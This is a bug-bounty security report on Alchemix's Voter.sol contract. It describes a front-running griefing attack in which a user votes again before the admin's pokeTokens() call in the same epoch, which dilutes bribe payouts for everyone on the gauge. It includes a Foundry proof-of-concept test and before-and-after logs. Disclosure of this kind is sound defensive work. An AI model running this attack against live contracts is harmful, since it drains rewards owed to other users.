Submitted on May 8th 2024 at 04:39:00 UTC by @jecikpo for Boost | Alchemix
Report ID: #30919
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol
Impacts:
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
The Voter.pokeTokens() allows an admin to vote on behalf of any veALCX token owner for a given set of gauges. It is assumed that the purpose of the function is to provide automated regular voting services by the Alchemix system. The pokeTokens() does not check if the user already voted in the current Epoch. If the user did vote already, the next vote on the same epoch will affect the bribe accounting and diminish the bribes for all voters of the given gauge(s).
The Voter.pokeToken() calls poke() for each tokenId specificed. poke() calls _vote() which issues the vote to the given gauges. For each gauge specified Bribe.deposit() is called. deposit() increases (among other things): totalSupply and totalVoting. Those variables are then checkpointed and used when earned bribes are beeing calculated at earned().
A malicious user can orchestrate a griefing attack, by front-running the pokeTokens() call. This will inflate the totalVoting which will diminish the amounts received by all users entitled to bribe claiming.
The bribes of all users on a given gauge will be diminished by proportional amount of the malicious user extra voting power.
Copy the following code to the Voting.t.sol:
function testPokeTokensFrontrunning() public {
uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, 156 days, false);
uint256 tokenId2 = createVeAlcx(beef, TOKEN_1, 156 days, false);
address bribeAddress = voter.bribes(address(sushiGauge));
createThirdPartyBribe(bribeAddress, bal, TOKEN_1);
//voter.distribute();
address[] memory pools = new address[](1);
pools[0] = sushiPoolAddress;
uint256[] memory weights = new uint256[](1);
weights[0] = 5000;
address[] memory bribes = new address[](1);
bribes[0] = address(bribeAddress);
address[][] memory tokens = new address[][](2);
tokens[0] = new address[](1);
tokens[0][0] = bal;
uint[] memory pokeTokens = new uint[](1);
pokeTokens[0] = tokenId1;
hevm.prank(admin);
voter.vote(tokenId1, pools, weights, 0);
hevm.prank(beef);
voter.vote(tokenId2, pools, weights, 0);
//console.log("Bribe lastEarned: ", )
uint256 adminBribes;
uint256 beefBribes;
hevm.warp(block.timestamp + 6 days);
// epoch 2
hevm.warp(block.timestamp + nextEpoch);
createThirdPartyBribe(bribeAddress, bal, TOKEN_1);
voter.distribute();
hevm.prank(admin);
voter.vote(tokenId1, pools, weights, 0);
hevm.prank(beef);
voter.vote(tokenId2, pools, weights, 0);
adminBribes = IBribe(bribeAddress).earned(bal, tokenId1);
beefBribes = IBribe(bribeAddress).earned(bal, tokenId2);
console.log("[admin] earned bribes epoch 2: %d", adminBribes);
console.log("[beef] earned bribes epoch 2: %d", beefBribes);
// epoch 3
hevm.warp(block.timestamp + nextEpoch);
createThirdPartyBribe(bribeAddress, bal, TOKEN_1);
voter.distribute();
// someone front runs the pokeTokens()
hevm.prank(admin);
voter.vote(tokenId1, pools, weights, 0);
// admin calls pokeTokens
hevm.prank(voter.admin());
voter.pokeTokens(pokeTokens);
hevm.prank(beef);
voter.vote(tokenId2, pools, weights, 0);
adminBribes = IBribe(bribeAddress).earned(bal, tokenId1);
beefBribes = IBribe(bribeAddress).earned(bal, tokenId2);
console.log("[admin] earned bribes epoch 3: %d", adminBribes);
console.log("[beef] earned bribes epoch 3: %d", beefBribes);
//console.log("voting power: %d", voter.maxVotingPower(tokenId1));
// epoch 4
hevm.warp(block.timestamp + nextEpoch);
createThirdPartyBribe(bribeAddress, bal, TOKEN_1);
voter.distribute();
hevm.prank(admin);
voter.vote(tokenId1, pools, weights, 0);
hevm.prank(beef);
voter.vote(tokenId2, pools, weights, 0);
adminBribes = IBribe(bribeAddress).earned(bal, tokenId1);
beefBribes = IBribe(bribeAddress).earned(bal, tokenId2);
console.log("[admin] earned bribes epoch 4: %d", adminBribes);
console.log("[beef] earned bribes epoch 4: %d", beefBribes);
hevm.prank(admin);
voter.claimBribes(bribes, tokens, tokenId1);
hevm.prank(beef);
voter.claimBribes(bribes, tokens, tokenId2);
console.log("[admin] total bribes claimed: %d", ERC20(bal).balanceOf(admin));
console.log("[beef] total bribes claimed: %d", ERC20(bal).balanceOf(beef));
}First run the code with the following lines commented (i.e. no front-running):
// someone front runs the pokeTokens()
hevm.prank(admin);
voter.vote(tokenId1, pools, weights, 0);This will result with normal bribe accumulation by both users admin and beef:
[PASS] testPokeTokensFrontrunning() (gas: 6499697)
Logs:
[admin] earned bribes epoch 2: 500000000000000000
[beef] earned bribes epoch 2: 500000000000000000
[admin] earned bribes epoch 3: 1000000000000000000
[beef] earned bribes epoch 3: 1000000000000000000
[admin] earned bribes epoch 4: 1500000000000000000
[beef] earned bribes epoch 4: 1500000000000000000
[admin] total bribes claimed: 1500000000000000000
[beef] total bribes claimed: 1500000000000000000
Once the lines above are enabled, the user effectively voted twice during same epoch and the following happens:
[PASS] testPokeTokensFrontrunning() (gas: 6640350)
Logs:
[admin] earned bribes epoch 2: 500000000000000000
[beef] earned bribes epoch 2: 500000000000000000
[admin] earned bribes epoch 3: 1000000000000000000
[beef] earned bribes epoch 3: 1000000000000000000
[admin] earned bribes epoch 4: 1333333333333333333
[beef] earned bribes epoch 4: 1333333333333333333
[admin] total bribes claimed: 1333333333333333333
[beef] total bribes claimed: 1333333333333333333
The amount is reduced, each user gets 33%, instead of 50% of the bribe share.